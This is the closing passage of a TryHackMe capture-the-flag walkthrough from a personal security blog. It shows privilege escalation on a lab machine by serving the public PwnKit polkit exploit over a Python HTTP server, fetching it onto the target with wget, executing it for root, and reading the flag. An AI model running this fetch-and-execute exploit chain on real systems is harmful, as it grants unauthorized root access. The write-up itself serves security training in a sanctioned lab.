root@ip-10-49-70-222:~# wget https://github.com/ly4k/PwnKit/raw/main/PwnKit python3 -m http.server 8000 --2026-07-26 19:42:40-- https://github.com/ly4k/PwnKit/raw/main/PwnKit Resolving github.com (github.com)... 20.207.73.82 Connecting to github.com (github.com)|20.207.73.82|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit [following] --2026-07-26 19:42:40-- https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 18040 (18K) [application/octet-stream] Saving to: 'PwnKit' PwnKit 100%[=====================================================================================================>] 17.62K --.-KB/s in 0.001s 2026-07-26 19:42:41 (29.6 MB/s) - 'PwnKit' saved [18040/18040] Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Python HTTP server hosting the PwnKit exploit
Python HTTP server hosting the PwnKit exploit

On Target machine -

bash
dylan@year-of-the-dog:~$ wget http://10.49.70.222:8000/PwnKit -O PwnKit --2026-07-26 20:44:46-- http://10.49.70.222:8000/PwnKit Connecting to 10.49.70.222:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 18040 (18K) Saving to: 'PwnKit' PwnKit 100%[=====================================================================================================>] 17.62K --.-KB/s in 0s 2026-07-26 20:44:46 (475 MB/s) - 'PwnKit' saved [18040/18040]

Then, we execute -

bash
dylan@year-of-the-dog:~$ chmod +x PwnKit dylan@year-of-the-dog:~$ ./PwnKit

And, now we are root! -

bash
root@year-of-the-dog:/home/dylan# root@year-of-the-dog:/home/dylan# id

Get the Root flag from /root/root.txt -

bash
root@year-of-the-dog:/home/dylan# id uid=0(root) gid=0(root) groups=0(root),1000(dylan) root@year-of-the-dog:/home/dylan# ls /root root.txt root@year-of-the-dog:/home/dylan# cat /root/root.txt THM{<REDACTED>}

And there we have solved the room!

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." β€” Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

Β© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.